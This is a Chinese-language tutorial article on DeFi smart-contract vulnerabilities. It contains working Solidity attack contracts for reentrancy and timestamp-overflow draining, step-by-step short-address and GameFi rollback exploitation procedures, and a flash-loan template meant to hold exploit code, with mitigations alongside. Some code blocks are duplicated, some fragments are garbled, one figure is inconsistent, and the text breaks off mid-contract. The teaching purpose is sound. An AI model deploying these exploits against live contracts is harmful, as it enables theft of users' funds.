A bird‘s-eye view of Decentralized Finance and Security II

目前我们熟知的DeFi主要有:去中心化支付、去中心化借贷、稳定币、去中心化交易所、去中心化钱包、衍生品和NFT资产等等。由此我们可以看到一个全新行业的早期阶段,整个 DeFi 生态系统正在蓬勃发展时期。新事物的发展永远伴随着不确定和风险共存,其中最大的一个风险就是智能合约的安全,安全性一般分类为经济模型的设计错误和代码逻辑的不严谨造成。

目前智能合约部署的平台来看以太坊智能合约最多,2020年开始DeFi 爆发以后BSC(Binanace Smart Chain),Polygon Network,HECO等公链上的Dapp(去中心化引用)越来越多,发生的安全事情导致的金额损失一个比一个大。8月份最大的一次金额被盗是6亿美金(36亿RMB),由于一行代码错误导致的安全问题。所以区块链领域的安全需求越来越急切。 入北京市对区块链领域的引进人才中有就一项就是安全领域的迫切需求。http://www.beijing.gov.cn/zhengce/zhengcefagui/202006/t20200630_1935625.html

今天我们就按照智能合约安全上重点普及常见的安全漏洞以及防范方法。

一、智能合约 owner 提权漏洞

一般第一次部署智能合约时候部署的人是合约的所有者,他可以管理合约的资金的支配,各项功能的调整,资金的划转,增发代币,甚至销毁合约的权限。也可以更改这个owner的权限转给他人的权限。

以太坊solidity0.4.22引入了新的构造函数声明形式constructor(),该函数引入的目的是避免编程人员在编写构造函数时的命名错误 (如6月22日,MorphToken事件中“Owned”被写成“owned”,没有注意大小写,使owned函数成为一个普通函数,导致任何账户都能调用它,更改owner变量,转移合约所有权)。

然而,由于用户编写函数时习惯性的使用function进行声明,从而导致构造函数constructor的使用引入新的漏洞。

正确的构造函数形式:constructor()  public {    }

错误的构造函数形式:function constructor()  public {    }

contract OwnerWallet {
    address public owner;

    //constructor
    function ownerWallet(address _owner) public {  // 错误代码
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
contract OwnerWallet {
    address public owner;

    //constructor
    function consructor(address _owner) public {   //错误代码
        owner = _owner;   
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
contract OwnerWallet {
    address public owner;

    //constructor
    function OwnerWallet (address _owner) public {  // 正确代码
        owner = _owner;
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }
contract OwnerWallet {
    address public owner;

    //constructor
    function consructor(address _owner) public {   //错误代码
        owner = _owner;   
    }

    // fallback. Collect ether.
    function () payable {}

    function withdraw() public {
        require(msg.sender == owner);
        msg.sender.transfer(this.balance);
    }

示例1中,任何用户都可以调用 ownerWallet() 函数,将自己设置为所有者,然后通过调用 withdraw() 获取合约中的所有以太币。

示例2中,任何用户都可以调用 consructor() 函数,将自己设置为所有者,然后通过调用 withdraw() 获取合约中的所有以太币。

主要成因在于理解solidity智能合约的构造函数的额错误使用导致该合约的所有资金被盗的风险。

重入漏洞(reentrancy)

重入漏洞一般发生在交易环节比较多,尤其是跨合约交易或者跨链交易时候非常容易发生,且防范机制需要格外的理解不容合约的特性来进行防御。以太坊智能合约的特点之一是合约之间可以进行相互间的外部调用。同时,以太坊的转账不仅局限于外部账户,合约账户同样可以拥有Ether,并进行转账等操作(以太坊的合约账户拥有外部账户同样的功能,只是外部账户由持有该账户私钥的用户控制,合约账户由合约代码控制,外部账户不包含合约代码)。向以太坊合约账户进行转账,发送Ether的时候,会执行合约账户对应合约代码的回调函数(fallback)。在以太坊智能合约中,进行转账操作,一旦向被攻击者劫持的合约地址发起转账操作,迫使执行攻击合约的回调函数,回调函数中包含回调自身代码,将会导致代码执行“重新进入”合约。这种合约漏洞,被称为“重入漏洞”。

pragma solidity ^0.6.0;


contract Victim{
    
    mapping(address =>uint) public balances;
    
    function deposit() public payable{
        
        
        balances[msg.sender] += msg.value;
        
    }
    
    
    function testCall(uint _v) public {
        
        require(balances[msg.sender] >= _v);
        (bool sent,) = msg.sender.call{value:1 wei}("");
    }
    
    function getBalace() public view returns (uint _value){
        
        return address(this).balance;
    }
}



contract Attack{
    
    Victim public _vi;
    
    constructor(address _VictimAddress) public {
        
        _vi = Victim(_VictimAddress);
    }
    
    function send() public payable{
        
        require(msg.value >= 1 wei);
        _vi.deposit{value: 50 wei}();
    }
    
    function attack() public payable{
        
        _vi.testCall(1 wei);
        
        
    }
    
    
    function getBalaces() public view returns(uint _value){
        
        return address(this).balance;
        
    }
    
    
    fallback() external payable{
        
        
        if(address(_vi).balance >= 1 wei ){
            
            _vi.testCall(1 wei);
        }
        
    }
    
}


智能合约中的 fallback (回退)函数
一个智能合约中,可以有一个没有函数名,没有参数也没有返回值的函数,也就是 fallback 函数.
一个没有定义 fallback 函数的合约,如果接收ether,会触发异常,并返还ether(solidity v0.4.0开始)。
所以合约要接收ether,必须实现回退函数。
1,如果调用这个合约时,没有匹配上任何一个函数。那么,就会调用默认的 fallback 函数。,

2,当合约收到ether时(没有任何其它数据),这个函数也会被执行。注意,执行 fallback 函数会消耗gas。

该漏洞成因比较简单,首先开发者的逻辑是:存款是通过deposit函数进行定额存款,然后通过withdraw函数取出自己存的资金。 但是出现了安全问题是当你存款10个ether,当你取出10个ether时候交易还没完成,因为可能有异常情况出现回调fallback函数时候重新取出10个ether。相当于存入10ether 取出来20个ether的情况发生。 重入多次操作后智能合约里的钱全部转走的重入漏洞。

防范方法比较简单,每次取款时候先减少存款,再转账 msg.sender.call。或者引入重入锁。

案例1:DAO被攻击:代码漏洞导致6000万美元以太币被盗 

案例2 PolyNetwork倍重入攻击,丢失6亿美金

三、时间戳整数溢出攻击

智能合约的时间戳和限时世界的时间戳有点不一样,一般计算方法是当前block的打包时间作为时间戳。下面是一个锁仓合约的代码,首先你存入的资金等到一定时间以后才可以取出,一般会有一定的利息或者奖励作为回报。但是通过时间戳的整数溢出把锁仓时间变更为0 绕过锁仓逻辑。

//SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;
 
contract TimeLock{
     
    mapping(address => uint) public balacnces;
    mapping(address => uint) public lockTime;
     
    function deposit() public payable{
         
        balacnces[msg.sender] += msg.value;
        lockTime[msg.sender] = now + 1 weeks;
         
    }
     
     
    function increseLockTime(uint _secondsToIncrease) public{
         
        lockTime[msg.sender] += _secondsToIncrease;
         
         
    }
     
     
    function withdraw() public {
         
        require(balacnces[msg.sender] > 0, "insuffitiant funds");
        require(now > lockTime[msg.sender], "Lock time not expired");
         
        uint amount = balacnces[msg.sender];
         
        balacnces[msg.sender] = 0;
         
        (bool sent,) = msg.sender.call{value:amount}("");
         
        require(sent, "error");
         
    }
     
}
 
 
 
contract Attack{
     
     
    TimeLock tl;
     
    constructor(TimeLock _timelock) public{
         
        tl = _timelock;
         
    }
     
    function send() public payable{
         
        tl.deposit{value:msg.value}();
         
    }
     
     
    function attack() public payable returns (uint){
         
        tl.increseLockTime(
             
            uint(-tl.lockTime(address(this)))
             
            );
             
            tl.withdraw();
            return uint(now);
    }
     
    function testAttack() public payable{
         
        tl.withdraw();
    }
     
    fallback() external payable{}
     
}

uint也就是uint256的缩写,最大值为2**256-1
uint8 -> 2**8-1,其余的以此类推 (beijing-time.org/shijianchuo/)

我们对有漏洞的智能合约发送的时间戳为 2**256-1 在加上自动锁仓的1week后发生溢出,锁仓时间变更为0.成功绕过。

此类的漏洞在智能合约中非常多,解决方案是使用安全函数safemath库,在关键位置进行溢出进行判断。

四、短地址攻击

1基础知识

EVM虚拟机在解析合约的字节码时,依赖的是ABI的定义,从而去识别各个字段位于字节码的什么地方。关于ABI,可以阅读这个文档:

https://github.com/ethereum/wiki/wiki/Ethereum-Contract-ABI

一般ERC-20 TOKEN标准的代币都会实现transfer方法,这个方法在ERC-20标签中的定义为:function transfer(address to, uint tokens) public returns (bool success);

第一参数是发送代币的目的地址,第二个参数是发送token的数量。

当我们调用transfer函数向某个地址发送N个ERC-20代币的时候,交易的input数据分为3个部分:

4 字节,是方法名的哈希:a9059cbb

32字节,放以太坊地址,目前以太坊地址是20个字节,高危补0
000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca

32字节,是需要传输的代币数量,这里是1*10^18 GNT
0000000000000000000000000000000000000000000000000de0b6b3a7640000

所有这些加在一起就是交易数据:

a9059cbb000000000000000000000000abcabcabcabcabcabcabcabcabcabcabcabcabca0000000000000000000000000000000000000000000000000de0b6b3a7640000

2
以太坊短地址

当调用transfer方法提币时,如果允许用户输入了一个短地址,这里通常是交易所这里没有做处理,比如没有校验用户输入的地址长度是否合法。

如果一个以太坊地址如下,注意到结尾为0:

0x1234567890123456789012345678901234567800

当我们将后面的00省略时,EVM会从下一个参数的高位拿到00来补充,这就会导致一些问题了。

这时,token数量参数其实就会少了1个字节,即token数量左移了一个字节,使得合约多发送很多代币出来。我们看个例子:

这里调用sendCoin方法时,传入的参数如下:

0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb8644163e 0000000000000000000000000000000000000000000000000000000000000002

这里的0x90b98a11是method的hash值,第二个是地址,第三个是amount参数。

如果我们调用sendCoin方法的时候,传入地址0x62bec9abe373123b9b635b75608f94eb8644163e,把这个地址的“3e”丢掉,即扔掉末尾的一个字节,参数就变成了:

0x90b98a11 00000000000000000000000062bec9abe373123b9b635b75608f94eb86441600 00000000000000000000000000000000000000000000000000000000000002 ^^ 缺失1个字节

这里EVM把amount的高位的一个字节的0填充到了address部分,这样使得amount向左移位了1个字节,即向左移位8。

这样,amount就成了2 << 8 = 512。

3
构造短地址攻击

(1)首先生成一个ETH的靓号,这个账号末尾为2个0

使用一些跑号工具就可以做到,比如MyLinkToken工具,可以很轻易跑出末尾两个0的。

(2)找一个交易所钱包,该钱包里token数量为256000

(3)往这个钱包发送1000个币

(4)然后再从这个钱包中提出1000个币,当然这时候写地址的时候把最后两个0去掉

如果交易所并没有校验用户填入的以太坊地址,则EVM会把所有函数的参数一起打包,会把amount参数的高位1个字节吃掉。

(5)这三个参数会被传入到msg.data中,然后调用合约的transfer方法,此时,amount由于高位的1个字节被吃掉了,因此amount = amount << 8,即扩大了256倍,这样就把25600个币全部提出来了。

4
总结

针对这个漏洞,说实话以太坊有不可推卸的责任,因为EVM并没有严格校验地址的位数,并且还擅自自动补充消失的位数。此外,交易所在提币的时候,需要严格校验用户输入的地址,这样可以尽早在前端就禁止掉恶意的短地址。

Reference

https://blog.golemproject.net/how-to-find-10m-by-just-reading-blockchain-6ae9d39fcd95
http://vessenes.com/the-erc20-short-address-attack-explained/
https://ericrafaloff.com/analyzing-the-erc20-short-address-attack/

五、GameFi NFT 攻击

GameFi 自从 Axie Infinity爆发以后 BSC 上火爆程度甚至一度瘫痪了主链,目前一般的GameFi流量在BSC上,但由于 GameFi 系统尚未成熟,也衍生出各种漏洞。一般都是开服2-3天有漏洞,不得不停服修复,重新上线,对于玩家的体验非常不好,安全性上有很多的担忧。

今天针对部分漏洞以及攻击模型。第一个选择BSC上最火爆的链游 cryptozoon.io

持有宠物NFT可以打怪获得代币

(最初版)收益 = 基础收益 * 等级 * 稀有度 –> 高R(稀有度)价值极高

抽蛋/战斗引入机率概念 (图为稀有度计算方式)

随机产生0-9999一数字
大于等于9708即为R6

四种不同胜率的怪物

平衡期望值 -> 胜率低收益高 / 胜率高收益低

同一个transaction中完成,原子操作(闪电贷类似)

TX中若出现错误,则整个TX回滚(失效) -> 不记录到链上

R6 制造机
实作核心逻辑

若rare不理想则回滚,转发tx资料,回滚判定只能写在合约中,因此需模拟合约为玩家(地址里有蛋+触发开蛋合约)

1.把蛋送进自己布署的攻击合约中
2.让攻击合约去触发开蛋合约 (伪装玩家)
3.检查稀有度, 若不理想则回滚
-> 消耗些许失败tx的gas, 达成开蛋必产出r6的效果
4.取出R6宠物

送出固定格式资料给开蛋合约 function signature + 宠物ID

有了送出数据的格式 接着处理转发tx

稍微整理一下timelock即可拿到转发tx的代码

送出开蛋tx -> 检查稀有度

战斗必胜

function signature + 参数1(宠物ID) + 参数2(关卡难度)

  1. 若战斗失败则回滚
  2. 转发tx资料
  3. 回滚战斗失败tx
  4. 胜利后发放代币
  5. 检查战斗前后代币是否增加即可得知战斗结果

  • 手法
    1.把宠物送进自己布署的合约中
    2.让合约去触发战斗
    3.检查代币余额, 若没增加代表战斗失败->回滚
    -> 消耗些许失败tx的gas, 达成打20%战斗必胜的效果
  • OpenZeppelin 的 Address库有 isContract() 可判断调用地址是否为合约
  • tx. 起源!
  • tx origin : 最初发起交易的钱包
  • msg.sender : 上一个呼叫的地址
  • a钱包->b合约->c合约
  • a : tx. 起源
  • b : msg. 发件人

利用了区块链网络中的一个原子交易区块的失败导致回滚交易的特性。

六、闪电贷攻击

闪电贷上一篇中普及了基础知识,其实正常情况下闪电贷作为一个套利工具,对整体DeFi网络里面担当了非常重要的角色,避免了不同交易所之间的价差为题,从而很多套利机器人会在不同交易所之间进行套利和价格平衡作用。

所以我们首先套利交易是怎么发生,通过代码进行多交易所之间的套利逻辑给解释一下。

首先去中心化交易价格是通过不同的block的时间加权平均价格得到的AMA模型。当然也有外部的预言机进行报价,由于成本原因去中心化交易所一般前者居多。尤其是小规模资产。

现在我有一个10个以太坊,我想进行套利,那么我再三个不同的交易所之间的价差进行套利,我的策略是如下:

套利模型(非常重要,我以后再闪电贷中使用这个模型)

  1. 在Bancor上用10ETH购买BNT
  2. 在SushiSwap上卖出BNT换取INJ
  3. 在Uniswap 3上卖出INJ换取DAI

每一个交易所交易的前提是,首先找到交易所的对应的路由网络。通过路由网络我们选择交易对(池子)。比如ETH-BNT的交易对是一个合约地址,然后从交易对里面计算出比例,比如我1个ETH换多少个BNT, 最后通过路由网络进行交易。这就是交易的核心。

首先bancor的交易代码

IBancorNetwork private constant bancorNetwork = IBancorNetwork(0xb3fa5DcF7506D146485856439eb5e401E0796B5D);
address private constant BANCOR_ETH_ADDRESS = 0xEeeeeEeeeEeEeeEeEeEeeEEEeeeeEeeeeeeeEEeE;
address private constant BANCOR_ETHBNT_POOL = 0x1aCE5DD13Ba14CA42695A905526f2ec366720b13;
address private constant BNT = 0xF35cCfbcE1228014F66809EDaFCDB836BFE388f5;

function _tradeOnBancor(uint256 amountIn, uint256 amountOutMin) private {
  bancorNetwork.convertByPath{value: msg.value}(_getPathForBancor(), amountIn, amountOutMin, address(0), address(0), 0);
}
  
function _getPathForBancor() private pure returns (address[] memory) {
    address[] memory path = new address[](3);
    path[0] = BANCOR_ETH_ADDRESS;
    path[1] = BANCOR_ETHBNT_POOL;
    path[2] = BNT;
    
    return path;
}

在Sushi上交易

IUniswapV2Router02 private constant sushiRouter = IUniswapV2Router02(0x1b02dA8Cb0d097eB8D57A175b88c7D8b47997506);
address private constant INJ = 0x9108Ab1bb7D054a3C1Cd62329668536f925397e5;

function _tradeOnSushi(uint256 amountIn, uint256 amountOutMin, uint256 deadline) private {
    address recipient = address(this);
      
    sushiRouter.swapExactTokensForTokens(
        amountIn,
        amountOutMin,
        _getPathForSushiSwap(),
        recipient,
        deadline
    );
}

function _getPathForSushiSwap() private pure returns (address[] memory) {
    address[] memory path = new address[](2);
    path[0] = BNT;
    path[1] = INJ;
    
    return path;
}

在Uniswap交易

IUniswapRouter private constant uniswapRouter = IUniswapRouter(0xE592427A0AEce92De3Edee1F18E0157C05861564);
address private constant DAI = 0xaD6D458402F60fD3Bd25163575031ACDce07538D;

function _tradeOnUniswap(uint256 amountIn, uint256 amountOutMin, uint256 deadline) private {
    address tokenIn = INJ;
    address tokenOut = DAI;
    uint24 fee = 3000;
    address recipient = msg.sender;
    uint160 sqrtPriceLimitX96 = 0;
    
    ISwapRouter.ExactInputSingleParams memory params = ISwapRouter.ExactInputSingleParams(
        tokenIn,
        tokenOut,
        fee,
        recipient,
        deadline,
        amountIn,
        amountOutMin,
        sqrtPriceLimitX96
    );
    
    uniswapRouter.exactInputSingle(params);
  
    uniswapRouter.refundETH();
    // refund leftover ETH to user
    (bool success,) = msg.sender.call{ value: address(this).balance }("");
    require(success, "refund failed");
}

这样的话我们基础的套利交易完成了。

比如市场波动的时候 总共我话了10个ETH 换回 10.1个ETH,扣除交易费用,我的利润是0.1个ETH的。大约350美金左右,可能花了20s时间。 可是我们知道市场上这样的机会是有,但是套利机器人可能更多,更快。花了很多时间,确利润很小。再说你的启动资金也必将小,无法达到杠杆的作用。那么我们开始用闪电贷来进行交易。

市场上的闪电贷必将出名的有aavve, uniswap,dydx,基于uniswap平台的基本上都会支持闪电贷。

下列是闪电贷进行套利,但还没有到达攻击程度。

上一个套利中我们自由资金出了10个ETH,但是我看到了更大的套利空间后需要一大笔资金去进行套利,怎么办?

先用Aave平台闪电贷进行借款- 套利- 还款。 executeOperation 是我们具体的套利逻辑。 从AAve借款1000个ETH, 我们上一个套利模型中成功套利了0.1个ETH,但是通过闪电贷放大了100倍,相当于理想状态下会套利10个ETH(3.5万美元左右)。但发现没有,你的资金使用率还是很低,你通过350万美金赚了3.5万美金。资金效率只有1%. 如果需要更大的回报,那就寻找撬动资金的更大的杠杆了。 上面所说的各种漏洞利用代码放在你的代码逻辑里。一般成功利用该回报率会放大到1万倍以上。

pragma solidity ^0.6.6;
import "./FlashLoanReceiverBase.sol";
import "./ILendingPoolAddressesProvider.sol";
import "./ILendingPool.sol";

contract FlashloanV1 is FlashLoanReceiverBaseV1 {

    constructor(address _addressProvider) FlashLoanReceiverBaseV1(_addressProvider) public{}

 /**
        Flash loan 1000000000000000000 wei (1 ether) worth of `_asset`
     */
 function flashloan(address _asset) public onlyOwner {
        bytes memory data = "";
        uint amount = 1 ether;

        ILendingPoolV1 lendingPool = ILendingPoolV1(addressesProvider.getLendingPool());
        lendingPool.flashLoan(address(this), _asset, amount, data);
    }

    /**
  This function is called after your contract has received the flash loaned amount
     */
    function executeOperation(
        address _reserve,
        uint256 _amount,
        uint256 _fee,
        bytes calldata _params
    )
        external
        override
    {
        require(_amount <= getBalanceInternal(address(this), _reserve), "Invalid balance, was the flashLoan successful?");
       //
        这里是我们需要放的(套利代码)+( 具有漏洞利用类型的攻击代码)
        //

        uint totalDebt = _amount.add(_fee);
        transferFundsBackToPoolInternal(_reserve, totalDebt);
    }

}

七、Pancakebunney 漏洞来学习代码漏洞和价格预言机攻击600万美元

PancakeBunny 是一个 BSC 上的 DeFi 收益聚合器,当前可以通过质押 Pancakeswap 的 LP Token、CAKE 代币或 BUNNY 代币来获得自动复合收益,未来将通过跨链实现 BSC 和以太坊之间的互通 Farm。作为一个 DeFi 聚合器PancakeBunny 后续将打造多个币种的机枪池,聚合各类 DeFi 收益。PancakeBunny 智能合约已通过 Haechi Labs 的安全审计。


由于是机枪池,收益异常的高,迅速引来了多个DeFi爱好者进行质押,后续有多个其他杠杆流动性挖矿平台合作以后收益率更高,巅峰时刻年化最高的时候2000%,锁仓量达到76亿美元,并提供各种主流币的流动性支持。

2021年5月,BTC,ETH等主流币种达到历史新高,6.20日pancakebunny经历了一次闪电贷在内的组合漏洞攻击,此次事件共损失114,631枚BNB和697,245枚BUNNY,按当时价格计算约合约4200万美元。

本次攻击分为2部分攻击。

第一部分攻击是pancakebunny的市场价格获取出了问题。黑客给pancakebunny提供了可以操纵的价格。

第二部分攻击是pancakebunny本身的铸币功能,一般情况下这种机枪池会接受bunny(平台代币)质押,按照每分每秒都给质押这创造出新的bunny币,这样的质押者就有丰厚的回报。一般质押bunny得到cake,bunny本身,bnb或者eth等币的回报。

第一部分攻击是我们上一篇所说的通过pancakeswap去中心化交易所 7个不同的PancakeSwap流动性池中利用闪电贷共借了232万BNB,从ForTube用闪电贷款借了296万USDT。

通过铸币功能铸造了700万的BUNNY(基于之前的BUNNY价格价值可达约10亿美元)。

价格获取的问题代码

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.12;

/*
  ___                      _   _
 | _ )_  _ _ _  _ _ _  _  | | | |
 | _ \ || | ' \| ' \ || | |_| |_|
 |___/\_,_|_||_|_||_\_, | (_) (_)
                    |__/
*
* MIT License
* ===========
*
* Copyright (c) 2020 BunnyFinance
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in all
* copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
*/

import "../pancakeswap/pancake-swap-lib/contracts/token/BEP20/BEP20.sol";
import "../pancakeswap/pancake-swap-lib/contracts/token/BEP20/SafeBEP20.sol";
import "../pancakeswap/pancake-swap-lib/contracts/math/SafeMath.sol";

import "../interfaces/IBunnyMinterV2.sol";
import "../interfaces/IStakingRewards.sol";
import "../dashboard/calculator/PriceCalculatorBSC.sol";
import "../zap/ZapBSC.sol";

contract BunnyMinterV2 is IBunnyMinterV2, OwnableUpgradeable {
    using SafeMath for uint;
    using SafeBEP20 for IBEP20;

    /* ========== CONSTANTS ============= */

    //address public constant WBNB = 0xbb4CdB9CBd36B01bD1cBaEBF2De08d9173bc095c;
    address public constant WBNB = 0x2faBCA74Aa27b873db828b35eD77A6bc275fA00A;  //Richard - WBNB TestNet
    //address public constant BUNNY = 0xC9849E6fdB743d08fAeE3E34dd2D1bc69EA11a51;
    //address public constant BUNNY = 0xe693fff7fF5441fE9EdC908777ef591C18e00826;    //Rich - ZACH Token
    //address public constant BUNNY = 0x1fEED4146DA582e47E3ceDE4C48f90Ac682d3260;    //Rich - ZACH Token
    address public constant BUNNY = 0x834E71cE5b7895A6b40b17dC69E67a9A7419329D;    //Rich - ZACH Token
    //address public constant BUNNY_BNB = 0x7Bb89460599Dbf32ee3Aa50798BBcEae2A5F7f6a;
    address public constant BUNNY_BNB = 0x8967C4943D0e91a8037D64135248Cf67066C6153;  //Rich - TestNet
    //address public constant BUNNY_POOL = 0xCADc8CB26c8C7cB46500E61171b5F27e9bd7889D;
    address public constant BUNNY_POOL = 0x8967C4943D0e91a8037D64135248Cf67066C6153;  //Rich - TestNet

    address public constant DEPLOYER = 0x489489E5B1Ae50BE1c4B5ADbD9ecB6FF586F99D7;   //Rich - Deployer address'
    //address private constant TIMELOCK = 0x85c9162A51E03078bdCd08D4232Bab13ed414cC3;
    address private constant TIMELOCK = 0x09493C6fd7F37Bf7c774a5EcB7A59E7e72ECB8Ac;
    address private constant DEAD = 0x000000000000000000000000000000000000dEaD;

    uint public constant FEE_MAX = 10000;

    //ZapBSC public constant zapBSC = ZapBSC(0xCBEC8e7AB969F6Eb873Df63d04b4eAFC353574b1);
    //ZapBSC public constant zapBSCV2 = ZapBSC(0xdC2bBB0D33E0e7Dea9F5b98F46EDBaC823586a0C);

    ZapBSC public constant zapBSC = ZapBSC(0x106A69363B1943F0Fd8A77a96E024BDB00082a0d);   //Rich - TestNet
    ZapBSC public constant zapBSCV2 = ZapBSC(0x1aC0749EaF96a907717EcDf09C4eC5afAfd25187);  //Rich - TestNet
    //PriceCalculatorBSC public constant priceCalculator = PriceCalculatorBSC(0x542c06a5dc3f27e0fbDc9FB7BC6748f26d54dDb0); // should be V1 address
    PriceCalculatorBSC public constant priceCalculator = PriceCalculatorBSC(0x3603582C019F689aC2EB4da07FceC40949E39227); // should be V1 address  Rich - TestNet

    //IPancakeRouter02 private constant routerV1 = IPancakeRouter02(0x05fF2B0DB69458A0750badebc4f9e13aDd608C7F);
    //IPancakeRouter02 private constant routerV2 = IPancakeRouter02(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    IPancakeRouter02 private constant routerV1 = IPancakeRouter02(0x30F23c7EDEC262A4600958b98b083B636a566C4C);  //Rich TestNet
    IPancakeRouter02 private constant routerV2 = IPancakeRouter02(0x54a07dBbAe58e0663E64A9C64Fb81fDe83Af2d6F);  //Rich TestNet

    /* ========== STATE VARIABLES ========== */

    address public bunnyChef;
    mapping(address => bool) private _minters;
    address public _deprecated_helper; // deprecated

    uint public PERFORMANCE_FEE;
    uint public override WITHDRAWAL_FEE_FREE_PERIOD;
    uint public override WITHDRAWAL_FEE;

    uint public override bunnyPerProfitBNB;
    uint public bunnyPerBunnyBNBFlip;   // will be deprecated

    /* ========== MODIFIERS ========== */

    modifier onlyMinter {
        require(isMinter(msg.sender) == true, "BunnyMinterV2: caller is not the minter");
        _;
    }

    modifier onlyBunnyChef {
        require(msg.sender == bunnyChef, "BunnyMinterV2: caller not the bunny chef");
        _;
    }

    receive() external payable {}

    /* ========== INITIALIZER ========== */

    function initialize() external initializer {
        WITHDRAWAL_FEE_FREE_PERIOD = 3 days;
        WITHDRAWAL_FEE = 50;
        PERFORMANCE_FEE = 3000;

        bunnyPerProfitBNB = 5e18;
        bunnyPerBunnyBNBFlip = 6e18;

        IBEP20(BUNNY).approve(BUNNY_POOL, uint(- 1));
         __Ownable_init(); ///Rich - set the owner
    }

    /* ========== RESTRICTED FUNCTIONS ========== */

    function transferBunnyOwner(address _owner) external onlyOwner {
        Ownable(BUNNY).transferOwnership(_owner);
    }

    function setWithdrawalFee(uint _fee) external onlyOwner {
        require(_fee < 500, "wrong fee");
        // less 5%
        WITHDRAWAL_FEE = _fee;
    }

    function setPerformanceFee(uint _fee) external onlyOwner {
        require(_fee < 5000, "wrong fee");
        PERFORMANCE_FEE = _fee;
    }

    function setWithdrawalFeeFreePeriod(uint _period) external onlyOwner {
        WITHDRAWAL_FEE_FREE_PERIOD = _period;
    }

    function setMinter(address minter, bool canMint) external override onlyOwner {
        if (canMint) {
            _minters[minter] = canMint;
        } else {
            delete _minters[minter];
        }
    }

    function setBunnyPerProfitBNB(uint _ratio) external onlyOwner {
        bunnyPerProfitBNB = _ratio;
    }

    function setBunnyPerBunnyBNBFlip(uint _bunnyPerBunnyBNBFlip) external onlyOwner {
        bunnyPerBunnyBNBFlip = _bunnyPerBunnyBNBFlip;
    }

    function setBunnyChef(address _bunnyChef) external onlyOwner {
        require(bunnyChef == address(0), "BunnyMinterV2: setBunnyChef only once");
        bunnyChef = _bunnyChef;
    }

    /* ========== VIEWS ========== */

    function isMinter(address account) public view override returns (bool) {
        if (IBEP20(BUNNY).getOwner() != address(this)) {
            return false;
        }
        return _minters[account];
    }

    function amountBunnyToMint(uint bnbProfit) public view override returns (uint) {
        return bnbProfit.mul(bunnyPerProfitBNB).div(1e18);
    }

    function amountBunnyToMintForBunnyBNB(uint amount, uint duration) public view override returns (uint) {
        return amount.mul(bunnyPerBunnyBNBFlip).mul(duration).div(365 days).div(1e18);
    }

    function withdrawalFee(uint amount, uint depositedAt) external view override returns (uint) {
        if (depositedAt.add(WITHDRAWAL_FEE_FREE_PERIOD) > block.timestamp) {
            return amount.mul(WITHDRAWAL_FEE).div(FEE_MAX);
        }
        return 0;
    }

    function performanceFee(uint profit) public view override returns (uint) {
        return profit.mul(PERFORMANCE_FEE).div(FEE_MAX);
    }

    /* ========== V1 FUNCTIONS ========== */

    function mintFor(address asset, uint _withdrawalFee, uint _performanceFee, address to, uint) external payable override onlyMinter {
        uint feeSum = _performanceFee.add(_withdrawalFee);
        _transferAsset(asset, feeSum);

        if (asset == BUNNY) {
            IBEP20(BUNNY).safeTransfer(DEAD, feeSum);
            return;
        }

        uint bunnyBNBAmount = _zapAssetsToBunnyBNB(asset, feeSum, false);
        if (bunnyBNBAmount == 0) return;

        IBEP20(BUNNY_BNB).safeTransfer(BUNNY_POOL, bunnyBNBAmount);
        IStakingRewards(BUNNY_POOL).notifyRewardAmount(bunnyBNBAmount);

        (uint valueInBNB,) = priceCalculator.valueOfAsset(BUNNY_BNB, bunnyBNBAmount);
        uint contribution = valueInBNB.mul(_performanceFee).div(feeSum);
        uint mintBunny = amountBunnyToMint(contribution);
        if (mintBunny == 0) return;
        _mint(mintBunny, to);
    }

    /* ========== PancakeSwap V2 FUNCTIONS ========== */

    function mintForV2(address asset, uint _withdrawalFee, uint _performanceFee, address to, uint) external payable override onlyMinter {
        uint feeSum = _performanceFee.add(_withdrawalFee);
        _transferAsset(asset, feeSum);

        if (asset == BUNNY) {
            IBEP20(BUNNY).safeTransfer(DEAD, feeSum);
            return;
        }

        uint bunnyBNBAmount = _zapAssetsToBunnyBNB(asset, feeSum, true);
        if (bunnyBNBAmount == 0) return;

        IBEP20(BUNNY_BNB).safeTransfer(BUNNY_POOL, bunnyBNBAmount);
        IStakingRewards(BUNNY_POOL).notifyRewardAmount(bunnyBNBAmount);

        (uint valueInBNB,) = priceCalculator.valueOfAsset(BUNNY_BNB, bunnyBNBAmount);
        uint contribution = valueInBNB.mul(_performanceFee).div(feeSum);
        uint mintBunny = amountBunnyToMint(contribution);
        if (mintBunny == 0) return;
        _mint(mintBunny, to);
    }

    /* ========== BunnyChef FUNCTIONS ========== */

    function mint(uint amount) external override onlyBunnyChef {
        if (amount == 0) return;
        _mint(amount, address(this));
    }

    function safeBunnyTransfer(address _to, uint _amount) external override onlyBunnyChef {
        if (_amount == 0) return;

        uint bal = IBEP20(BUNNY).balanceOf(address(this));
        if (_amount <= bal) {
            IBEP20(BUNNY).safeTransfer(_to, _amount);
        } else {
            IBEP20(BUNNY).safeTransfer(_to, bal);
        }
    }

    // @dev should be called when determining mint in governance. Bunny is transferred to the timelock contract.
